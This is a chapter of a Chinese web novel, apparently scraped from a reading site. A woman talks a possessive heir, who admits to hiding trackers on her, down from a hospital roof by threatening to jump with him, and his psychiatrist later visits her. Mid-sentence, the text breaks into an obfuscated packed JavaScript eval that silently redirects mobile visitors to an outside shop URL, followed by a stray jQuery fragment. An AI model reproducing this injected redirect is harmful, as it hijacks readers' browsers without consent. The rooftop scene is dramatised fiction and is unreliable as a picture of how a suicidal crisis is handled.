跳楼?

    李黛青在拍摄基地门口打车,赶到赵宇家的医院。然后在通往天台的楼梯口,见到了正站在那里,满脸焦急的赵宇。

    “什么情况?”李黛青问。

    “他现在正坐在天台的围栏上。”赵宇道。

    原来白天,李黛青跟霍卮荔因为追踪器的事情,吵完架离开栀子山别墅。霍卮荔因为情绪太过激动,肚子开始不舒服。

    给李黛青发消息,李黛青没有理会。随后,霍卮荔给赵宇打去了电话。

    赵宇带着他的助理,亲自从医院过来,将霍卮荔接到医院。

    随后,便是住院。

    下午的时候,赵宇就觉察到霍卮荔的情绪有些不对劲。不过,他那个时候并没有太在意,只以为他是心情不好。但本着“劝和不劝分”的道理,给李黛青发了消息,希望李黛青能来医院见见霍卮荔。

    两个人要是有什么矛盾,也可以趁机解开。

    李黛青没有来,还说“有病就去看医生”。

    赵宇不敢将李黛青的回复,告诉霍卮荔。但好在之后,霍卮荔的状态稳定下来了。虽然不说话,但整个人都显得很平静。

    赵宇也就松了一口气。

    不曾想,晚上赵宇查房的时候,发现霍卮荔不见了。

    他不敢声张,独自调查了医院监控,看到霍卮荔上了天台。

    赵宇这个时候坐不住了,立刻给李黛青打了电话。

    于是,便有了眼下的事。

    “报警了吗?”李黛青问。

    “霍少的情况特殊,不能报警。”

    赵宇摇头,“我也不敢让别人知道。否则,这件事很快就会传回老宅。要是那样的话,就糟糕了。”

    “传回老宅,也比他丢了命要紧。”李黛青皱眉道。

    “你不懂。总之,最好是瞒着老宅,解决掉今天的事。”赵宇。

    李黛青听完,冷笑:“那你觉得,我来就能解决?”

    赵宇:“至少,可以试试。”

    如果到时候,李黛青也不能将霍卮荔从天台上劝下来,那他就只能把事情闹大了。

    李黛青不太认同地,看了赵宇一眼。

    她觉得赵宇这样处置,对于一条生命来说,过于草率。

    而跟赵宇相比,现在站在天台上的霍卮荔,就更是草率中的草率。

    李黛青:“我会试着劝说他,除此之外,我什么都不能保证。”

    说完,也不等赵宇回答,便抬脚走到楼梯上,伸手推开了天台的门。

    “咯吱——”

    铁门被推开。

    夜色之下,空旷的医院天台上,冬日的寒风呼呼地吹过。一个孤独的背影,背对着李黛青,坐在天台的水泥围栏上,两只手撑在身体两侧。

    听到开门声,坐在天台上的人,身体顿了一下,但没有回头。

    此刻,霍卮荔穿着蓝色格纹的病号服。

    李黛青走到距离他五米的地方,停了下来,开口:“你在上面做什么?”

    其实她的心情,并没有表现得那么轻松。

    自从白天,从栀子山别墅出来后,李黛青的心情就不太好。所以今天下午,她才会去公司,去完公司又去剧组探班……

    就是因为心情不太好,所以总是想要给自己找点事做,让自己显得忙碌起来。这样,就能忘掉白天跟霍卮荔的吵架。

    没想到,她这边都快要忘掉吵架的事了,霍卮荔那边却出事了。

    跳楼?

    真是可笑!

    生命如此美好,她好不容易才挣扎着有了第二世。结果,霍卮荔这边活得好好的,却要跳楼?

    想到这里,李黛青的心里就生出一股说不出的愤怒。

    这股愤怒,说不清楚是霍卮荔对生命的漠视,还是她回想起了上一世,她抱着霍卮的尸体,跳进冰冷海水里的绝望。

    霍卮荔没有回答她的问题,而是声音沙哑道:“你不要过来。”

    不知道是不是太久没有说话,他的声音里带着几分空灵、飘渺。

    “那你下来!”李黛青道。

    “你走,你走开。”霍卮荔突然哽咽道,背对着李黛青的肩膀,不受控制地颤抖。

    他的情绪开始失控,身体不由自主地前倾。

    李黛青眉心皱紧。

    “你,你为什么要来……你不是,都走了吗……”

    霍卮荔的声音,随着夜晚的寒风,断断续续传来,“你为什么还要来?”

    他从水泥的围栏上站起来,转过头,泪流满面地看着她。

    “我根本就控制不住自己。”

    霍卮荔哭着对她说,“我没办法,没办法接受你的离开……如果,你还是呆在我的身边,那我会继续往你的包里、手机里、车上,放追踪器!我管不住我自己!甚至,做出更加残酷的事。”

    他请求她,“所以,就让我离开这个世界吧。只有我离开了,你才能安全,才能做你自己。”

    他恨不得将她关起来,让她只看到他,只属于他。

    他不想让自己变得那么狼狈,可他控制不住。尤其是,上次的订婚宴过后,霍卮荔发现他对李黛青的占有欲,变得越来越强,越来越变态。

    他甚至,开始无法忍受李黛青跟别人说话。

    每次看到李黛青跟其他人说话,甚至是打电话的时候,他都恨不得把对面的人杀了。

    或许,他就像老太太说得那样,是一个怪物。

    就不该存活在这个世界上!

    李黛青眉头皱紧。

    她看得出来,霍卮荔现在情绪崩溃。只需要再多刺激一句,他就会受不住从天台跳下去。

    “你不想伤害我,所以想要离开这个世界?”李黛青问。

    “是,是……”霍卮荔流着泪点头。

    他现在看起来,脆弱得不像他自己。

    又或许,现在这个才是真实的他。

    过去那么多年,那个被从小关在阁楼里的孩子,身体从阁楼里走出来了,但灵魂依旧被留在了阁楼里。

    这时,李黛青在霍卮荔震惊的目光中,快步走向他左侧的水泥围栏,然后翻了上去,像霍卮荔那样站在围栏上。

    “黛青,你在做什么?”霍卮荔像是吓坏了,声音好似从嗓子里飘出来的,满脸不敢置信地望着她。

    李黛青张开双臂,转过头,看向他:“如果你因为我死了,那霍家肯定不会放过我。那我不如就在这一刻,陪着你跳下去。”

    霍卮荔睁大眼睛,满脸迷茫:“不,不会的。”

    李黛青:“会的。你知道,你家老太太不是什么慈善的人。你是霍家的独苗,要是你为我死了,霍家没了继承人,那她肯定会认为是我的错。”

    “你要是跳的话,那我就跟着你跳下去。”

    李黛青说完这句话,便回过头,看着脚下的C城。

    她是在威胁他,但她也在赌。

    霍卮荔看着她的侧影,渐渐地,脸上的迷茫变成害怕,变成惶恐。

    那张苍白的脸上,像是有两个人,在不停地拉扯着他的灵魂。一边,是绝望的现实,一边,又是李黛青的性命。

    最终,挣扎在天平两端的灵魂,终于做出了选择。

    只听他发出痛苦的呜咽,然后便从水泥围栏上,滚了下来。

    站在不远处围栏上的李黛青见状,终于松了一口气。

    她从围栏上下来,走到霍卮荔的跟前,脱下身上的大衣外套,搭着霍卮荔的肩膀上,将他整个人都裹了起来。

    “黛青,黛青,黛青……”

    霍卮荔身体颤抖着,叫着她的名字,扑进了她的怀里。

    李黛青伸手从外面,将他整个人紧紧抱住。

    随后,霍卮荔因为身体虚弱,被送回了病

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883458|209796||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    房。因为担心医院这边的事,会被霍家老宅的老太太知道,所以霍卮荔又被送去了一家私密性很好的疗养院修养。

    接下来的几天,霍卮荔都在疗养院里。但是自那天后,李黛青却没有去疗养院一次。

    她没有再见霍卮荔。

    李黛青这几天,都独自住在栀子山别墅。不管霍卮荔,或者是赵宇,给她打多少次电话,她都没有接。

    那件事过后的第四天,栀子山别墅迎来了一位客人。

    那位客人跟赵宇,几乎长得一模一样。

    那人自称赵宙,是赵宇的双胞胎弟弟。同时,也是霍卮荔的心理医生。

    “冒昧打扰,还请见谅。”

    此刻,跟赵宇用着同一张脸的赵宙,坐在一楼客厅的沙发上。

    他的面前,有一杯冒着热气的热茶。

    李黛青穿着家居衣服,坐在他的对面。

    跟赵宇比起来,弟弟赵宙显得更加温柔,跟他相处会更加放松。

    “我去疗养院见过霍先生。他很想你,你要不要抽时间去看看他?”赵宙说着,从文件夹里拿出几张照片。

    照片的主人,是霍卮荔,是霍卮荔在疗养院的生活照。

    只是霍卮荔在每一张照片上,看起来都很落寞。

    李黛青的视线从照片上移开,客气道:“疗养院的医护人员,比我更加专业,更加有耐心。我相信霍卮荔,会很快好起来。”

    赵宙:“可是,他是心病。他的解药,就在你身上。”

    “解药?”

    李黛青听完,自嘲地笑起来,“这两个字,会不会太重了一些?”

    说完,她顿了一下,认真地看向对面的心理医生,“赵医生,你也是心理医生,你觉得,一个人,真的能够背负起另一个人的命运吗?”

    赵宙今天来的目的,李黛青很清楚。

    但同样的,就像是她问的那样,她真的能背负起霍卮荔的命运吗?

    这也是这些天,李黛青一直在思考的问题。

    在医院的天台上,霍卮荔能够为了她,放弃自杀的念头。

    为了她,对抗他的痛苦。从病痛的绝望中,挣扎着,为了她的命,活下来。

    一个处于痛苦中的人,死,对他来说很容易,但要是为了另一个人,选择活下来?却很难。

    老实说,李黛青很感动。

    活了两世,都没有人会像霍卮荔这般,为李黛青活着。

    但同样的,对李黛青来说,这份付出又是沉重的。

    经过医院天台的事情后,她跟霍卮荔之间的关系就变了。就好像是,霍卮荔的命被拽在了她的手里。

    她让霍卮荔活,霍卮荔就活。

    她让霍卮荔死,霍卮荔就死。

    一份人命,对李黛青来说,太过沉重。

    她承担得起吗?

    她清楚地知道,一旦她答应面前的赵宙,去疗养院看望霍卮荔,那就相当于,她主动走向霍卮荔,承担了他的那份性命。

    她清楚,霍卮荔也清楚。

    一旦选择,就再也甩不掉了。

    她愿意吗?

    重活一世,她只想苟命,避开十年后的枪杀。

    像霍卮荔这样的书中反派暴君,原本就是她避之不及的。

    如果她选择霍卮荔,那就相当于选择了他背后的因果,以及需要承担剧情主线的控制。

    她甘心吗?

    她又愿意为了霍卮荔做出牺牲吗?

    答案,显然是“不”。

    她同情他,怜悯他,同时,还有几分后悔。但是,她不爱他,也不愿意为了他牺牲自己的自由。

    “我不知道,一个人能不能背负起另一个人的命运?但霍先生的这条命,由你来决定。”赵宙回答。

    赵宙离开了栀子山别墅。

    离开前,他给李黛青留了一个文件袋。